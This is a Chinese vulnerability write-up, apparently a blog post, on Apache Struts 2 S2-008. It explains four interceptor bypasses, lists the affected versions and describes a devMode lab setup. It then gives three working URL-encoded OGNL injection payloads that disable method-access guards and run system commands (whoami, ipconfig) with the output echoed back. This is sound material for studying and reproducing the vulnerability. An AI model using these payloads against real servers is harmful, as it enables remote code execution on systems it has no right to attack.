漏洞简介

为了防止攻击者在参数内调用任意方法,默认情况下将标志xwork.MethodAccessor.denyMethodExecution设置为true,并将SecurityMemberAccess字段allowStaticMethodAccess设置为false。另外,为了防止访问上下文变量,自Struts 2.2.1.1开始,在ParameterInterceptor中应用了针对参数名称的改进字符白名单:acceptedParamNames = "[a-zA-Z0-9\.][()_']+";

在某些情况下,可以绕过这些限制以执行恶意Java代码。

1,在Struts <= 2.2.3中执行远程命令(ExceptionDelegator)即S2-007

将参数值应用于属性时发生异常时,该值将作为OGNL表达式求值。例如,在将字符串值设置为整数属性时会发生这种情况。由于未过滤值,因此攻击者可以滥用OGNL语言的功能来执行任意Java代码,从而导致远程命令执行。已报告此问题(https://issues.apache.org/jira/browse/WW-3668),该问题已在Struts 2.2.3.1中修复。但是,执行任意Java代码的能力已被忽略。

2,在Struts <= 2.3.1(CookieInterceptor)中执行远程命令

参数名称的字符白名单不适用于CookieInterceptor。将Struts配置为处理cookie名称时,攻击者可以执行对Java函数具有静态方法访问权限的任意系统命令。因此,可以在请求中将标志allowStaticMethodAccess设置为true。虽然cookiename没有做特殊字符的限制,会被当作ognl代码执行。不过java的webserver(tomcat等)在cookiename中禁掉了很多非主流字符,该漏洞局限性较大,危害较小。

3,Struts <= 2.3.1中的任意文件覆盖(ParameterInterceptor)

由于Struts 2.2.3.1禁止在参数内访问标志allowStaticMethodAccess,因此攻击者仍然可以仅使用String类型的一个参数访问公共构造函数以创建新的Java对象,并仅使用String类型的一个参数访问其setter。例如,在创建和覆盖任意文件时可能会滥用此权限。要将禁止的字符注入文件名,可以使用未初始化的字符串属性。

4,在Struts <= 2.3.17中远程执行命令(DebuggingInterceptor)

尽管本身不是安全漏洞,但请注意,以开发人员模式运行并使用DebuggingInterceptor的应用程序也容易执行远程命令。尽管应用程序在生产过程中绝不应在开发人员模式下运行,但开发人员应意识到,这样做不仅会带来性能问题(如文档所述),而且还会对安全性造成严重影响。

影响版本

Struts 2.0.0 - Struts 2.3.17

漏洞复现

环境准备

Windows 7 64bit(内含XAMPP)

Struts2.1.6

★首先打开xampp安装目录下的stryts.xml文件,例如:C:\xampp\tomcat\webapps\struts2-showcase-2.1.6\WEB-INF\classes,保证文件内有如下语句:<constantname="struts.devMode" value="true" />

说明:

​ Struts2框架存在一个devmode模式,方便开发人员调试程序,但是默认devmode是不开启的,如果想要使用,需要手动修改参数。

任意文件覆盖POC

//利用方式尚且未知
exp.action?name=(%23context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+%23_memberAccess["allowStaticMethodAccess"]=true,+%23a=@java.lang.Runtime@getRuntime().exec('ipconfig').getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)('meh')]

远程执行命令POC-1

debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29

远程执行命令POC-2(可直接回显)

debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ipconfig%27%29.getInputStream%28%29%29)

结果截图

说明:本专题只为学术交流,请所有读者切勿利用以上资源用于非法犯罪活动,有任何问题欢迎联系我的邮箱1294553086@qq.com。

部分文字性说明来源于网上资源,若有侵权请发邮件到1294553086@qq.com。

Struts 2 漏洞专题 | S2-008的更多相关文章

  1. 极客技术专题【008期】:CSS3核心技术:选择器

    日期:2013-8-19  来源:GBin1.com 技术专题介绍 技术专题:CSS3核心技术:选择器 专题演讲稿:CSS3选择器 分享人:知名前端技术博客 - w3cplus.com 博主 - 大漠 ...

  2. Apache Struts 跨站脚本漏洞

    漏洞名称: Apache Struts 跨站脚本漏洞 CNNVD编号: CNNVD-201311-010 发布时间: 2013-11-04 更新时间: 2013-11-04 危害等级:    漏洞类型 ...

  3. Struts S2-052漏洞利用之Meterpreter(CVE-2017-9805)

    Struts S2-052漏洞爆出来已经快一周了,大家可能更想知道其危害~鸡肋? 这里就直接给出漏洞利用拿Meterpreter的过程,想了解更多的请参考其他文章,下面是实验演示部分.Struts S ...

  4. Struts S2-052漏洞利用

    昨天在FreeBuf上看到[9月6日更新]漏洞预警 | 高危Struts REST插件远程代码执行漏洞(S2-052) 然而一直复现不了,今天又试了下竟然成功了. 由于水表查的较严,就不冒险搞别人的服 ...

  5. Apache Struts最新漏洞 远程代码执行漏洞预警 2018年11月08日

    2018年11月8日,SINE安全监控检测中心,检测到Apache Struts官方更新了一个Struts漏洞补丁,这个漏洞是Apache Struts目前最新的漏洞,影响范围较广,低于Apache ...

  6. Apache Struts 2 漏洞汇总

    Apache Struts2 是一个基于MVC设计模式的Web应用框架,会对某些标签属性(比如 id)的属性值进行二次表达式解析,因此在某些场景下将可能导致远程代码执行. Struts2特征: 通过页 ...

  7. struts2漏洞复现分析合集

    struts2漏洞复现合集 环境准备 tomcat安装 漏洞代码取自vulhub,使用idea进行远程调试 struts2远程调试 catalina.bat jpda start 开启debug模式, ...

  8. 漏洞大爆光:QQ漏洞、飞秋漏洞、360浏览器劫持…

    随着互联网应用的高速发展,信息安全已深入到诸多领域,前段时间发生的"Struts 2"漏洞及"心脏出血"漏洞影响了二亿中国网民的信息安全.原因是程序猿缺少细致的 ...

  9. PJzhang:Lucifer1993的struts-scan漏洞全量检测工具

    猫宁!!! 参考链接: https://www.freebuf.com/sectool/149815.html 有关struts 2的漏洞测试工具,很多,不过有的已经很久没更新了,有的只是针对某一个s ...

随机推荐

  1. 剑指offer之字符串是否为数值

    1. 题目 这是<剑指offer>上的一道题,刚开始觉得这是一道挺简单的题目,后来发现自己太年轻了,考虑的因素太少了,思考了而是分钟还是无从下手,看了作者的思路深深被他折服了,题目如下: ...

  2. OGG复制进程延迟高,优化方法一(使用索引)

    日常运维过程中,可能发现OGG同步进程延迟很高: 本篇介绍其中的一种方式. OGG复制进程,或者说同步进程及通过解析ogg trail文件,输出dml语句,在目标库执行dml操作,那么延迟高可能性其一 ...

  3. ES读写流程

    简述ES的写流程,GET读取数据流程和Search搜索数据流程. ES的读写流程主要是协调节点,主分片节点.副分片节点间的相互协调. ES的读取分为GET和Search两种操作.GET根据文档id从正 ...

  4. Vulnhub篇Photographerr

    0x00 靶机信息 靶机:Photographerr:1 难度:中 下载:https://www.vulnhub.com/entry/photographer-1,519/ 0x01 信息收集 靶场网 ...

  5. PyUsb的使用记录--window中

    import usb.core import usb.util # find our device dev = usb.core.find(idVendor=0x03EB, idProduct=0x2 ...

  6. noip复习——逆元

    逆元,即对给定\(a,p\ (a \perp p)\),求\(x\)使得\(ax \equiv 1 \ (\bmod p)\) 逆元可以看做\(a\)在模\(p\)意义下的\(a^{-1}\).因此, ...

  7. android.content.ActivityNotFoundException: No Activity found to handle Intent { (has extras) }

    报错: 初始代码: @OnClick(R.id.include_top_iv_more) public void onViewClicked() { Intent intent_chat_set = ...

  8. Nginx学习简记_part1

    内容概览 nginx简介 (1)介绍nginx的应用场景和具体可以做什么事情 (2)介绍什么是反向代理 (3)介绍什么是负载均衡 (4)介绍什么是动静分离 nginx安装 (1)介绍nginx在lin ...

  9. DML语言(数据操纵语言)

    #DML语言/*数据操作语言:插入:insert修改:update删除:delete */ #一.插入语句#方式一:经典的插入/*语法:insert into 表名(列名,...) values(值1 ...

  10. linux zip压缩文件忽略指定的文件夹

    zip -r productImages.zip ./* -x "cache**" 压缩时,会忽略cache下的所有文件及文件夹